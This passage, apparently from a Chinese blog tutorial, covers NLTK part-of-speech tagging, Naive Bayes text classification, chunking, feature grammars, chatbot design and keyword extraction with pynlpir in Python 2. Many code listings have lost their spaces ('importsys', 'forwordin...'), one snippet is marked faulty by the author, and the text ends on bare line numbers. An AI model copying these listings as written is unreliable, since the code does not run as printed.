      [('\xe6\x88\x91', 'NN'), ('\xe6\x98\xaf', 'IN'), ('\xe4\xb8\x80\xe4\xb8\xaa', 'AT'), ('\xe5\xa4\xa7', 'JJ'), ('\xe5\x82\xbb\xc3\x97', 'NN')]

      这么说来,中文也是可以支持的,恩~

      我们来看一下布朗语料库中的标注:

      1
      nltk.corpus.brown.tagged_words()
      1
      [(u'The', u'AT'), (u'Fulton', u'NP-TL'), ...]

      事实上nltk也有中文的语料库,我们来下载下来:

      执行nltk.download(),选择Corpora里的sinica_treebank下载

      sinica就是台湾话中的中国研究院

      我们看一下这个中文语料库里有什么内容,创建cn_tag.py,内容如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      importnltk
      forwordinnltk.corpus.sinica_treebank.tagged_words():
      printword[0], word[1]

      执行后输出:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      一 Neu
      友情 Nad
      嘉珍 Nba
      和 Caa
      我 Nhaa
      住在 VC1
      同一條 DM
      巷子 Nab
      我們 Nhaa
      是 V_11
      ……

      第一列是中文的词汇,第二列是标注好的词性

      我们发现这里面都是繁体,因为是基于台湾的语料生成的,想要简体中文还得自己想办法。不过有人已经帮我们做了这部分工作,那就是jieba切词,https://github.com/fxsjy/jieba,强烈推荐,可以自己加载自己的语料,进行中文切词,并且能够自动做词性标注

      词性自动标注

      面对一片新的语料库(比如我们从未处理过中文,只有一批批的中文语料,现在让我们做词性自动标注),如何实现词性自动标注?有如下几种标注方法:

      默认标注器:不管什么词,都标注为频率最高的一种词性。比如经过分析,所有中文语料里的词是名次的概率是13%最大,那么我们的默认标注器就全部标注为名次。这种标注器一般作为其他标注器处理之后的最后一道门,即:不知道是什么词?那么他是名次。默认标注器用DefaultTagger来实现,具体用法如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      importnltk
      default_tagger = nltk.DefaultTagger('NN')
      raw ='我 累 个 去'
      tokens = nltk.word_tokenize(raw)
      tags = default_tagger.tag(tokens)
      printtags
      1
      [('\xe6\x88\x91', 'NN'), ('\xe7\xb4\xaf', 'NN'), ('\xe4\xb8\xaa', 'NN'), ('\xe5\x8e', 'NN'), ('\xbb', 'NN')]

      正则表达式标注器:满足特定正则表达式的认为是某种词性,比如凡是带“们”的都认为是代词(PRO)。正则表达式标注器通RegexpTagge实现,用法如下:

      1
      2
      3
      pattern = [(r'.*们$','PRO')]
      tagger = nltk.RegexpTagger(pattern)
      printtagger.tag(nltk.word_tokenize('我们 累 个 去 你们 和 他们 啊'))
      1
      [('\xe6\x88\x91\xe4', None), ('\xbb', None), ('\xac', None), ('\xe7\xb4\xaf', None), ('\xe4\xb8\xaa', None), ('\xe5\x8e', None), ('\xbb', None), ('\xe4\xbd\xa0\xe4', None), ('\xbb', None), ('\xac', None), ('\xe5\x92\x8c', None), ('\xe4', None), ('\xbb', None), ('\x96\xe4', None), ('\xbb', None), ('\xac', None), ('\xe5\x95\x8a', None)]

      查询标注器:找出最频繁的n个词以及它的词性,然后用这个信息去查找语料库,匹配的就标记上,剩余的词使用默认标注器(回退)。这一般使用一元标注的方式,见下面。

      一元标注:基于已经标注的语料库做训练,然后用训练好的模型来标注新的语料,使用方法如下:

      1
      2
      3
      4
      5
      6
      7
      8
      importnltk
      fromnltk.corpusimportbrown
      tagged_sents = [[(u'我',u'PRO'), (u'小兔',u'NN')]]
      unigram_tagger = nltk.UnigramTagger(tagged_sents)
      sents = brown.sents(categories='news')
      sents = [[u'我',u'你',u'小兔']]
      tags = unigram_tagger.tag(sents[0])
      printtags
      1
      [(u'\u6211', u'PRO'), (u'\u4f60', None), (u'\u5c0f\u5154', u'NN')]

      这里的tagged_sents是用于训练的语料库,我们也可以直接用已有的标注好的语料库,比如:

      1
      brown_tagged_sents = brown.tagged_sents(categories='news')

      二元标注和多元标注:一元标注指的是只考虑当前这个词,不考虑上下文。二元标注器指的是考虑它前面的词的标注,用法只需要把上面的UnigramTagger换成BigramTagger。同理三元标注换成TrigramTagger

      组合标注器:为了提高精度和覆盖率,我们对多种标注器组合,比如组合二元标注器、一元标注器和默认标注器,如下:

      1
      2
      3
      t0 = nltk.DefaultTagger('NN')
      t1 = nltk.UnigramTagger(train_sents, backoff=t0)
      t2 = nltk.BigramTagger(train_sents, backoff=t1)

      标注器的存储:训练好的标注器为了持久化,可以存储到硬盘,具体方法如下:

      1
      2
      3
      4
      fromcPickleimportdump
      output = open('t2.pkl','wb')
      dump(t2, output,-1)
      output.close()

      使用时也可以加载,如下:

      1
      2
      3
      4
      from cPickle import load
      input = open('t2.pkl', 'rb')
      tagger = load(input)
      input.close()

      自然语言处理中的文本分类

      文本分类是机器学习在自然语言处理中的最常用也是最基础的应用,机器学习相关内容可以直接看我的有关scikit-learn相关教程,本节直接涉及nltk中的机器学习相关内容

      先来一段前戏

      机器学习的过程是训练模型和使用模型的过程,训练就是基于已知数据做统计学习,使用就是用统计学习好的模型来计算未知的数据。

      机器学习分为有监督学习和无监督学习,文本分类也分为有监督的分类和无监督的分类。有监督就是训练的样本数据有了确定的判断,基于这些已有的判断来断定新的数据,无监督就是训练的样本数据没有什么判断,完全自发的生成结论。

      无论监督学习还是无监督学习,都是通过某种算法来实现,而这种算法可以有多重选择,贝叶斯就是其中一种。在多种算法中如何选择最适合的,这才是机器学习最难的事情,也是最高境界。

      nltk中的贝叶斯分类器

      贝叶斯是概率论的鼻祖,贝叶斯定理是关于随机事件的条件概率的一则定理,贝叶斯公式是:

      P(B|A)=P(A|B)P(B)/P(A);即,已知P(A|B),P(A)和P(B)可以计算出P(B|A)。

      贝叶斯分类器就是基于贝叶斯概率理论设计的分类器算法,nltk库中已经实现,具体用法如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      importnltk
      my_train_set = [
      ({'feature1':u'a'},'1'),
      ({'feature1':u'a'},'2'),
      ({'feature1':u'a'},'3'),
      ({'feature1':u'a'},'3'),
      ({'feature1':u'b'},'2'),
      ({'feature1':u'b'},'2'),
      ({'feature1':u'b'},'2'),
      ({'feature1':u'b'},'2'),
      ({'feature1':u'b'},'2'),
      ({'feature1':u'b'},'2'),
      ]
      classifier = nltk.NaiveBayesClassifier.train(my_train_set)
      printclassifier.classify({'feature1':u'a'})
      printclassifier.classify({'feature1':u'b'})
      1
      2
      3
      2

      执行后判断特征a和特征b的分类分别是3和2

      因为训练集中特征是a的分类是3的最多,所以会归类为3

      当然实际中训练样本的数量要多的多,特征要多的多

      文档分类

      不管是什么分类,最重要的是要知道哪些特征是最能反映这个分类的特点,也就是特征选取。文档分类使用的特征就是最能代表这个分类的词。

      因为对文档分类要经过训练和预测两个过程,而特征的提取是这两个过程都需要的,所以,习惯上我们会把特征提取单独抽象出来作为一个公共方法,比如:

      以下代码有问题*

      1
      2
      3
      4
      5
      6
      7
      8
      9
      importnltk
      fromnltk.corpusimportmovie_reviews
      all_words = nltk.FreqDist(w.lower()forwinmovie_reviews.words())
      all_words.plot(50, cumulative=True)
      word_features = all_words.keys()[:2000]
      defdocument_features(document):
      forwordinword_features:
      features['contains(%s)'% word] = (wordindocument_words)
      returnfeatures

      这是一个简单的特征提取过程,前两行找到movie_reviews语料库中出现词频最高的2000个词作为特征,下面定义的函数就是特征提取函数,每个特征都是形如contains(***)的key,value就是True或False,表示这个词是否在文档中出现

      那么我们训练的过程就是:

      1
      2
      featuresets = [(document_features(d), c)for(d,c)indocuments]
      classifier = nltk.NaiveBayesClassifier.train(featuresets)

      要预测一个新的文档时:

      1
      classifier.classify(document_features(d))

      通过

      1
      classifier.show_most_informative_features(5)

      可以找到最优信息量的特征,这对我们选取特征是非常有帮助的

      其他文本分类

      文本分类除了文档分类外还有许多其他类型的分类,比如:

      词性标注:属于一种文本分类,一般是基于上下文语境的文本分类

      句子分割:属于标点符号的分类任务,它的特征一般选取为单独句子标识符的合并链表、数据特征(下一个词是否大写、前一个词是什么、前一个词长度……)

      识别对话行为类型:对话行为类型是指问候、问题、回答、断言、说明等

      识别文字蕴含:即一个句子是否能得出另外一个句子的结论,这可以认为是真假标签的分类任务。这是一个有挑战的事情

      教你怎么从一句话里提取出十句话的信息

      按照之前理解的内容,对一句话做处理,最多是切成一个一个的词,再标注上词性,仅此而已,然而事实并非如此,一句话还可以做更多的文章,我们本节见分晓

      什么?还能结构化?

      任何语言的每一句话之所以称为“话”,是因为它有一定的句子结构,除了一个个独立的词之外,他们之间还存在着某种关系。如果任何一句话可以由任何词构成,可长可短,那么这是一个非结构化的信息,计算机是很难理解并做计算的,但是如果能够以某种方式把句子转化成结构化的形式,计算机就可以理解了。

      实事上,人脑在理解一句话的时候也暗暗地在做着由非结构化到结构化的工作。

      比如说:“我下午要和小明在公司讨论一个技术问题”。这是一片非结构化的词语拼成的一句话,但是这里面有很多隐含信息:

      1)小明是一个实体

      2)参与者有两个:我和小明

      3)地点设定是:公司

      4)要做的事情是:讨论

      5)讨论的内容是:问题

      6)这个问题是一个技术问题

      7)公司是一个地点

      8)讨论是一种行为

      9)我和小明有某种关系

      10)下午是一个时间

      上面这些信息有一些是专门针对这个句子的,有一些是常理性的,对于针对句子的信息有利于理解这句话,对于常理性的信息可以积累下来用来以后理解其他句子。

      那么怎么才能把非结构化的句子转成结构化的信息呢?要做的工作除了断句、分词、词性标注之外,还要做的一个关键事情就是分块。

      分块

      分块就是根据句子中的词和词性,按照某种规则组合在一起形成一个个分块,每个分块代表一个实体。常见的实体包括:组织、人员、地点、日期、时间等

      以上面的例子为例,首先我们做名词短语分块(NP-chunking),比如:技术问题。名词短语分块通过词性标记和一些规则就可以识别出来,也可以通过机器学习的方法识别

      除了名词短语分块还有很多其他分块:介词短语(PP,比如:以我……)、动词短语(VP,比如:打人)、句子(S,我是人)

      分块如何标记和存储呢?

      可以采用IOB标记,I(inside,内部)、O(outside,外部)、B(begin, 开始),一个块的开始标记为B,块内的标识符序列标注为I,所有其他标识符标注为O

      也可以用树结构来存储分块,用树结构可以解决IOB无法标注的另一类分块,那就是多级分块。多级分块就是一句话可以有多重分块方法,比如:我以我的最高权利惩罚你。这里面“最高权利”、“我的最高权利”、“以我的最高权利”是不同类型分块形成一种多级分块,这是无法通过IOB标记的,但是用树结构可以。这也叫做级联分块。具体树结构举个例子:

      1
      2
      3
      4
      5
      6
      7
      (S
      (NP 小明)
      (VP
      (V 追赶)
      (NP
      (Det 一只)
      (N 兔子))))

      这是不是让你想到了语法树?

      关系抽取

      通过上面的分块可以很容易识别出实体,那么关系抽取实际就是找出实体和实体之间的关系,这是自然语言处理一个质的跨越,实体识别让机器认知了一种事物,关系识别让机器掌握了一个真相。

      关系抽取的第一个方法就是找到(X, a, Y)这种三元组,其中X和Y都是实体,a是表达关系的字符串,这完全可以通过正则来识别,因为不同语言有这不同的语法规则,所以方法都是不同的,比如中文里的“爱”可以作为这里的a,但是“和”、“因为”等就不能作为这里的a

      编程实现

      下面介绍部分有关分块的代码,因为中文标注好分块的语料没有找到,所以只能沿用英文语料来说明,但是原理是一样的

      conll2000语料中已经有标注好的分块信息,如下:

      1
      2
      fromnltk.corpusimportconll2000
      printconll2000.chunked_sents('train.txt')[99]
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      (S
      (PP Over/IN)
      (NP a/DT cup/NN)
      (PP of/IN)
      (NP coffee/NN)
      ,/,
      (NP Mr./NNP Stone/NNP)
      (VP told/VBD)
      (NP his/PRP$ story/NN)
      ./.)

      我们可以基于这些标注数据做训练,由于这种存储结构比较特殊,所以就不单独基于这种结构实现parser了,只说下跟前面讲的机器学习一样,只要基于这部分数据做训练,然后再用来标注新的语料就行了

      文法分析还是基于特征好啊

      语法分析固然重要,但要想覆盖语言的全部,需要进一步扩展到文法分析,文法分析可以基于规则,但是工作量难以想象,基于特征的文法分析不但可穷举,而且可以方便用计算机存储和计算,本节简单做一个介绍,更深层次的内容还需要继续关注后面的系列文章

      语法和文法

      还记得上一节中的这个吗?

      1
      2
      3
      4
      5
      6
      7
      (S
      (NP 小明)
      (VP
      (V 追赶)
      (NP
      (Det 一只)
      (N 兔子))))

      这里面的N表示名词,Det表示限定词,NP表示名词短语,V表示动词,VP表示动词短语,S表示句子

      这种句子分析方法叫做语法分析

      因为句子可以无限组合无限扩展,所以单纯用语法分析来完成自然语言处理这件事情是不可能的,所以出现了文法分析

      文法是一个潜在的无限的句子集合的一个紧凑的特性,它是通过一组形式化模型来表示的,文法可以覆盖所有结构的句子,对一个句子做文法分析,就是把句子往文法模型上靠,如果同时符合多种文法,那就是有歧义的句子

      最重要的结论:文法结构范围相当广泛,无法用规则类的方法来处理,只有利用基于特征的方法才能处理

      文法特征结构

      文法特征举例:单词最后一个字母、词性标签、文法类别、正字拼写、指示物、关系、施事角色、受事角色

      因为文法特征是一种kv,所以特征结构的存储形式是字典

      不是什么样的句子都能提取出每一个文法特征的,需要满足一定的条件,这需要通过一系列的检查手段来达到,包括:句法协议(比如this dog就是对的,而these dog就是错的)、属性和约束、术语

      特征结构的处理

      nltk帮我实现了特征结构:

      1
      2
      3
      4
      5
      importnltk
      fs1 = nltk.FeatStruct(TENSE='past', NUM='sg')
      printfs1
      fs2 = nltk.FeatStruct(POS='N', AGR=fs1)
      printfs2
      1
      2
      3
      4
      5
      6
      7
      [ NUM = 'sg' ]
      [ TENSE = 'past' ]
      [ AGR = [ NUM = 'sg' ] ]
      [ [ TENSE = 'past' ] ]
      [ ]
      [ POS = 'N' ]

      在nltk的库里已经有了一些产生式文法描述可以直接使用,位置在:

      1
      ls /usr/share/nltk_data/grammars/book_grammars
      1
      background.fol discourse.fcfg drt.fcfg feat0.fcfg feat1.fcfg german.fcfg simple-sem.fcfg sql0.fcfg sql1.fcfg storage.fcfg

      我们看其中最简单的一个sql0.fcfg,这是一个查找国家城市的sql语句的文法:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      % start S
      S[SEM=(?np + WHERE + ?vp)] -> NP[SEM=?np] VP[SEM=?vp]
      VP[SEM=(?v + ?pp)] -> IV[SEM=?v] PP[SEM=?pp]
      VP[SEM=(?v + ?ap)] -> IV[SEM=?v] AP[SEM=?ap]
      NP[SEM=(?det + ?n)] -> Det[SEM=?det] N[SEM=?n]
      PP[SEM=(?p + ?np)] -> P[SEM=?p] NP[SEM=?np]
      AP[SEM=?pp] -> A[SEM=?a] PP[SEM=?pp]
      NP[SEM='Country="greece"'] -> 'Greece'
      NP[SEM='Country="china"'] -> 'China'
      Det[SEM='SELECT'] -> 'Which' | 'What'
      N[SEM='City FROM city_table'] -> 'cities'
      IV[SEM=''] -> 'are'
      A[SEM=''] -> 'located'
      P[SEM=''] -> 'in'

      解释一下

      这里面从上到下是从最大范围到最小范围一个个的解释,S是句子

      我们来加载这个文法描述,并试验如下:

      1
      2
      3
      4
      5
      6
      7
      importnltk
      fromnltkimportload_parser
      cp = load_parser('grammars/book_grammars/sql0.fcfg')
      query ='What cities are located in China'
      tokens = query.split()
      fortreeincp.parse(tokens):
      printtree
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      (S[SEM=(SELECT, City FROM city_table, WHERE, , , Country="china")]
      (NP[SEM=(SELECT, City FROM city_table)]
      (Det[SEM='SELECT'] What)
      (N[SEM='City FROM city_table'] cities))
      (VP[SEM=(, , Country="china")]
      (IV[SEM=''] are)
      (AP[SEM=(, Country="china")]
      (A[SEM=''] located)
      (PP[SEM=(, Country="china")]
      (P[SEM=''] in)
      (NP[SEM='Country="china"'] China)))))

      我们可以看到用特征结构可以建立对大量广泛的语言学现象的简介分析

      重温自然语言处理

      自然语言处理怎么学?

      先学会倒着学,倒回去看上面那句话:不管三七二十一先用起来,然后再系统地学习

      nltk是最经典的自然语言处理的python库,不知道怎么用的看前几篇文章吧,先把它用起来,最起码做出来一个词性标注的小工具

      自然语言处理学什么?

      这门学科的知识可是相当的广泛,广泛到你不需要掌握任何知识就可以直接学,因为你不可能掌握它依赖的全部知识,所以就直接冲过去吧。。。

      话说回来,它到底包括哪些知识呢?如果把这些知识比作难关的话,我数一数,整整九九八十一难

      第一难:语言学。直接懵逼了吧?语言学啥玩意,怎么说话?还是怎么学说话?其实大家也都说不清语言学是什么东东,但是我知道大家在这方面都在研究啥,有的在研究语言描述的学问,有的在研究语言理论的学问,有的在研究不同语言对比的学问,有的在研究语言共同点上的学问,有的在研究语言发展的历史,有的在研究语言的结构,总之用一个字来形容那是一个涉猎广泛啊

      第二难:语音学。再一次懵逼!有人说:我知道!语音学就是怎么发声。赞一个,回答的那是相当不完全对啊!你以为你是学唱歌吗?语音学研究领域分三块:一块是研究声音是怎么发出来的(同学你说对了一点);一块是研究声音是怎么传递的;一块是研究声音是怎么接收的。这尼玛不是物理吗?怎么还整出语言学来了?其实这是一个交叉学科,交叉了语言学,交叉了生物学

      第三难:概率论。啥?怎么到处都是概率论啊?听人说今年又某某某得了诺贝尔经济学奖了,我定睛一看,尼玛,这不是研究的概率论嘛,这也能得经济学奖,真是得数学者得天下啊。废话少说,概率论跟自然语言处理有什么关系?我知道了,说话是一个概率问题,我经常说“尼玛”,那我再次说“尼玛”的概率就高,嗯~沾边了。提到概率论那就少不了这些:贝叶斯老爷爷、马尔可夫大叔……

      第四难:信息论。提到信息论肯定第一个想到的是“香浓”啊,有点流口水了,香农老爷爷提出的熵理论影响那是相当巨大啊,没有它估计就没有我们计算机人事什么事了,因为没有他就没有互联网了。还有人说没有图灵就没有计算机了,他咋不说没有他们俩就没有地球了呢?

      第五难:机器学习。机器学习是我的最爱,得聊的正式一点,咳咳!机器学习啊——得好好学

      第六难:形式语言与自动机。我滴妈啊!我跪了!刚说图灵图灵就来了。说白了,形式语言就是把语言搞的很形式,换句话说就是本来你能懂的东西,搞成你不能懂的东西,那就是形式语言啦!不信?你听:短语结构语言、上下文有关语言、上下文无关语言、正则语言,懂了吗?而自动机呢包括:图灵机、有穷自动机、下推自动机、线性有界自动机。你可能会问了,这么多自动机那得要多少汽油啊?该死的翻译怎么就把这么高大上的英文给翻译成这么晦涩呢,自动机英文叫automata,表达的是自动形成一些信息,也就是说根据前面能自动判断出后面。形式语言用在自然语言处理上我理解,都有语言俩字,可是这自动机有什么用呢?这您还真问着了,您见过拼写检查吗?这就是用的自动机,用处杠杠的!

      第七难:语言知识库。你见过科幻电影里的机器人手捧着电话线就能知道一切的镜头吧,互联网上有无数文本内容,用我们抽象的话说那都是知识,但是简单放在电脑里那就是一串字符串,怎么才能让它以知识的形式存储呢?首先得让计算机能分析语言,那么语料就是它学习的基础、是种子,然后有了基础再让它把语言里的知识存储起来,这就形成了语言知识库

      第八难:语言模型。模型顾名思义就是“模子”,就是“往上靠”的意思,怎么靠上去更吻合就怎么靠,这就是语言模型。怎么?没懂?好那我用形式化的语言再来说一下:把很多已经整理好的模子放在那里,遇到一个新内容的时候看看属于哪种格式,那就按照这种模子来解释。嗯~你肯定懂了

      第九难:分词、实体识别、词性标注。这部分开始纯语言处理了,前几节也简单讲过这部分内容,分词就是让计算机自动区分出汉字组成的词语,因为一个词语一个意思嘛。实体识别就是再分词之后能够根据各种短语形式判断出哪个词表示的是一个物体或组织或人名或……。词性标注就是给你一句话,你能识别出“名动形、数量代、副介连助叹拟声”。

      第十难:句法分析。句法分析类似于小学时学的主谓宾补定状的区分,只是要在这基础上组合成短语,也就是把一个非结构化的句子分析称结构化的数据结构

      第十一难:语义分析。看起来一步一步越来越深入了。语义是基于句法分析,进一步理解句子的意思,最重要的就是消除歧义,人姑且还会理解出歧义来呢,何况一个机器

      第十二难:篇章分析。一堆堆的句子,每个都分析明白了,但是一堆句子组合成的篇章又怎么才能联系起来呢?你得总结出本文的中心思想不是?这他娘的是小学语文里最难的一道题

      以上这些内容就是自然语言处理的几大难了,什么?说好的九九八十一难呢?你还不嫌多啊?你还真想变成孙猴子吗?能把这几关过了就不错了!

      自然语言处理和聊天机器人什么关系?

      说到这里,索性就说说下自然语言处理的应用领域吧。

      第一个应用:机器翻译。机器翻译方法有很多,我不做,也不说,想学自己看去

      第二个应用:语音翻译。跟上一个不是一个吗?不是的,这是语音,那个是机器

      第三个应用:文本分类与情感分析。别看两个词,其实是一种事——分类。前面有很多篇文章将文本分类的,可以看看,还有代码噢。

      第四个应用:信息检索与问答系统。终于说到重点了,累死我了。这里的问答系统就是我们的聊天机器人。后面会着重讲这个应用,我不断读论文,不断给大家分享哈,别着急,乖!

      第五个应用:自动文摘和信息抽取。看过百度搜索里显示的摘要吗?他们多么的精简,而且描述了网页里的中心内容,多漂亮啊!可惜多数都没做到自动文摘。所以这是一个高技术难度的问题。

      第六个应用:人机对话。融合了语音识别、口语情感分析、再加上问答系统的全部内容,是自然语言处理的最高境界,离机器人统霸世界不远了。

      以及这么多数不完的应用:文本挖掘、舆情分析、隐喻计算、文字编辑和自动校对、作文自动评分、OCR、说话人识别验证……

      好!自然语言处理就温习到这里,让我们上阵出发!

      聊天机器人应该怎么做

      聊天机器人到底该怎么做呢?我日思夜想,于是乎我做了一个梦,梦里面我完成了我的聊天机器人,它叫chatbot,经过我的一番盘问,它向我叙述了它的诞生记

      聊天机器人是可行的

      我:chatbot,你好!

      chatbot:你也好!

      我:聊天机器人可行吗?

      chatbot:你不要怀疑这是天方夜谭,我不就在这里吗?世界上还有很多跟我一样聪明的机器人呢,你听过IBM公司在2010年就研发出来了的Watson问答系统吗?它可比我要聪明100倍呢

      我:噢,想起来了,据说Watson在智力竞赛中竟然战胜了人类选手。但是我了解到它有一些缺陷:因为它还只是对信息检索技术的综合运用,并没有进行各种语义关系的深刻计算,所以它能回答的问题也仅限于实事类的问题,所以它能赢得也就是知识类的智力竞赛,如果你给它出个脑筋急转弯,它就不行了

      chatbot:是的呢,所以你任重道远啊

      聊天机器人工作原理是什么

      我:chatbot,我问的每一句话,你都是怎么处理并回答我的呢?

      chatbot:我身体里有三个重要模块:提问处理模块、检索模块、答案抽取模块。三个模块一起工作,就能回答你的问题啦

      我:是嘛,那么这个提问处理模块是怎么工作的呢?

      chatbot:提问处理模块要做三项重要工作:查询关键词生成、答案类型确定、句法和语义分析。

      我:那么这个查询关。。。

      chatbot:别急别急,听我一个一个讲给你听。查询关键词生成,就是从你的提问中提取出关键的几个关键词,因为我本身是一个空壳子,需要去网上查找资料才能回答你,而但网上资料那么多,我该查哪些呢?所以你的提问就有用啦,我找几个中心词,再关联出几个扩展词,上网一搜,一大批资料就来啦,当然这些都是原始资料,我后面要继续处理。再说答案类型确定,这项工作是为了确定你的提问属于哪一类的,如果你问的是时间、地点,和你问的是技术方案,那我后面要做的处理是不一样的。最后再说这个句法和语义分析,这是对你问题的深层含义做一个剖析,比如你的问题是:聊天机器人怎么做?那么我要知道你要问的是聊天机器人的研发方法

      我:原来是这样,提问处理模块这三项工作我了解了,那么检索模块是怎么工作的呢?

      chatbot:检索模块跟搜索引擎比较像,就是根据查询关键词所信息检索,返回句子或段落,这部分就是下一步要处理的原料

      我:那么答案抽取模块呢?

      chatbot:答案抽取模块可以说是计算量最大的部分了,它要通过分析和推理从检索出的句子或段落里抽取出和提问一致的实体,再根据概率最大对候选答案排序,注意这里是“候选答案”噢,也就是很难给出一个完全正确的结果,很有可能给出多个结果,最后还在再选出一个来

      我:那么我只要实现这三个模块,就能做成一个你喽?

      chatbot:是的

      聊天机器人的关键技术

      我:chatbot,小弟我知识匮乏,能不能告诉我都需要学哪些关键技术才能完成我的梦想

      chatbot:小弟。。。我还没满月。说到关键技术,那我可要列一列了,你的任务艰巨了:

      1)海量文本知识表示:网络文本资源获取、机器学习方法、大规模语义计算和推理、知识表示体系、知识库构建;

      2)问句解析:中文分词、词性标注、实体标注、概念类别标注、句法分析、语义分析、逻辑结构标注、指代消解、关联关系标注、问句分类(简单问句还是复杂问句、实体型还是段落型还是篇章级问题)、答案类别确定;

      3)答案生成与过滤:候选答案抽取、关系推演(并列关系还是递进关系还是因果关系)、吻合程度判断、噪声过滤

      聊天机器人的技术方法

      我:chatbot,我对聊天机器人的相关技术总算有所了解了,但是我具体要用什么方法呢?

      chatbot:看你这么好学,那我就多给你讲一讲。聊天机器人的技术可以分成四种类型:1)基于检索的技术;2)基于模式匹配的技术;3)基于自然语言理解的技术;4)基于统计翻译模型的技术。这几种技术并不是都要实现,而是选其一,听我给你说说他们的优缺点,你就知道该选哪一种了。基于检索的技术就是信息检索技术,它简单易实现,但无法从句法关系和语义关系给出答案,也就是搞不定推理问题,所以直接pass掉。基于模式匹配的技术就是把问题往已经梳理好的几种模式上去靠,这种做推理简单,但是模式我们涵盖不全,所以也pass掉。基于自然语言理解就是把浅层分析加上句法分析、语义分析都融入进来做的补充和改进。基于统计翻译就是把问句里的疑问词留出来,然后和候选答案资料做配对,能对齐了就是答案,对不齐就对不起了,所以pass掉。选哪个知道了吗?

      我:知道了!基于自然语言理解的技术!so easy!妈妈再也不用担心我的学习!o(╯□╰)o

      半个小时搞定词性标注与关键词提取

      想要做到和人聊天,首先得先读懂对方在说什么,所以问句解析是整个聊天过程的第一步,问句解析是一个涉及知识非常全面的过程,几乎涵盖了自然语言处理的全部,本节让我们尝试一下如何分析一个问句

      问句解析的过程

      一般问句解析需要进行分词、词性标注、命名实体识别、关键词提取、句法分析以及查询问句分类等。这些事情我们从头开始做无非是重复造轮子,傻子才会这么做,人之所以为人是因为会使用工具。网络上有关中文的NLP工具有很多,介绍几个不错的:

      第一个要数哈工大的LTP(语言技术平台)了,它可以做中文分词、词性标注、命名实体识别、依存句法分析、语义角色标注等丰富、 高效、精准的自然语言处理技术

      第二个就是博森科技了,它除了做中文分词、词性标注、命名实体识别、依存文法之外还可以做情感分析、关键词提取、新闻分类、语义联想、时间转换、新闻摘要等,但因为是商业化的公司,除了分词和词性标注免费之外全都收费

      第三个就是jieba分词,这个开源小工具分词和词性标注做的挺不错的,但是其他方面还欠缺一下,如果只是中文分词的需求完全可以满足

      第四个就是中科院张华平博士的NLPIR汉语分词系统,也能支持关键词提取

      我们优先选择NLPIR

      NLPIR使用

      文档在http://pynlpir.readthedocs.io/en/latest/

      首先安装pynlpir库

      1
      2
      pip install pynlpir
      pynlpir update

      若出现授权错误,则去https://github.com/NLPIR-team/NLPIR/tree/master/License/license%20for%20a%20month/NLPIR-ICTCLAS%E5%88%86%E8%AF%8D%E7%B3%BB%E7%BB%9F%E6%8E%88%E6%9D%83下载授权文件NLPIR.user, 覆盖到/usr/local/lib/python2.7/dist-packages/pynlpir/Data/

      写个小程序测试一下分词效果:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      importpynlpir
      pynlpir.open()
      s ='聊天机器人到底该怎么做呢?'
      segments = pynlpir.segment(s)
      forsegmentinsegments:
      printsegment[0],'\t', segment[1]
      pynlpir.close()
      1
      2
      3
      4
      5
      6
      7
      8
      聊天 verb
      机器人 noun
      到底 adverb
      该 verb
      怎么 pronoun
      做 verb
      呢 modal particle
      ? punctuation mark

      下面我们再继续试下关键词提取效果:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      importpynlpir
      pynlpir.open()
      s ='聊天机器人到底该怎么做呢?'
      key_words = pynlpir.get_key_words(s, weighted=True)
      forkey_wordinkey_words:
      printkey_word[0],'\t', key_word[1]
      pynlpir.close()
      1
      2
      聊天 2.0
      机器人 2.0

      从这个小程序来看,分词和关键词提取效果很好

      下面我们再来试验一个,这一次我们把分析功能全打开,部分代码如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      # coding:utf-8
      importsys
      reload(sys)
      sys.setdefaultencoding("utf-8")
      importpynlpir
      pynlpir.open()
      s ='海洋是如何形成的'
      segments = pynlpir.segment(s, pos_names='all', pos_english=False)
      forsegmentinsegments:
      printsegment[0],'\t', segment[1]
      key_words = pynlpir.get_key_words(s, weighted=True)
      forkey_wordinkey_words:
      printkey_word[0],'\t', key_word[1]
      pynlpir.close()
      1
      2
      3
      4
      5
      6
      7
      8
      海洋 noun
      是 verb:verb 是
      如何 pronoun:interrogative pronoun:predicate interrogative pronoun
      形成 verb
      的 particle:particle 的/底
      海洋 2.0
      形成 2.0

      如果我们把segments在加上一个参数pos_english=False,也就是不使用英语,那么输出就是

      1
      2
      3
      4
      5
      6
      7
      8
      海洋 名词
      是 动词:动词"是"
      如何 代词:疑问代词:谓词性疑问代词
      形成 动词
      的 助词:的/底
      海洋 2.0
      形成 2.0

      解释一下

      这里的segment是切词的意思,返回的是tuple(token, pos),其中token就是切出来的词,pos就是语言属性

      调用segment方法指定的pos_names参数可以是’all’, ‘child’, ‘parent’,默认是parent, 表示获取该词性的最顶级词性,child表示获取该词性的最具体的信息,all表示获取该词性相关的所有词性信息,相当于从其顶级词性到该词性的一条路径

      词性分类表

      查看nlpir的源代码中的pynlpir/docs/pos_map.rst,可以看出全部词性分类及其子类别如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
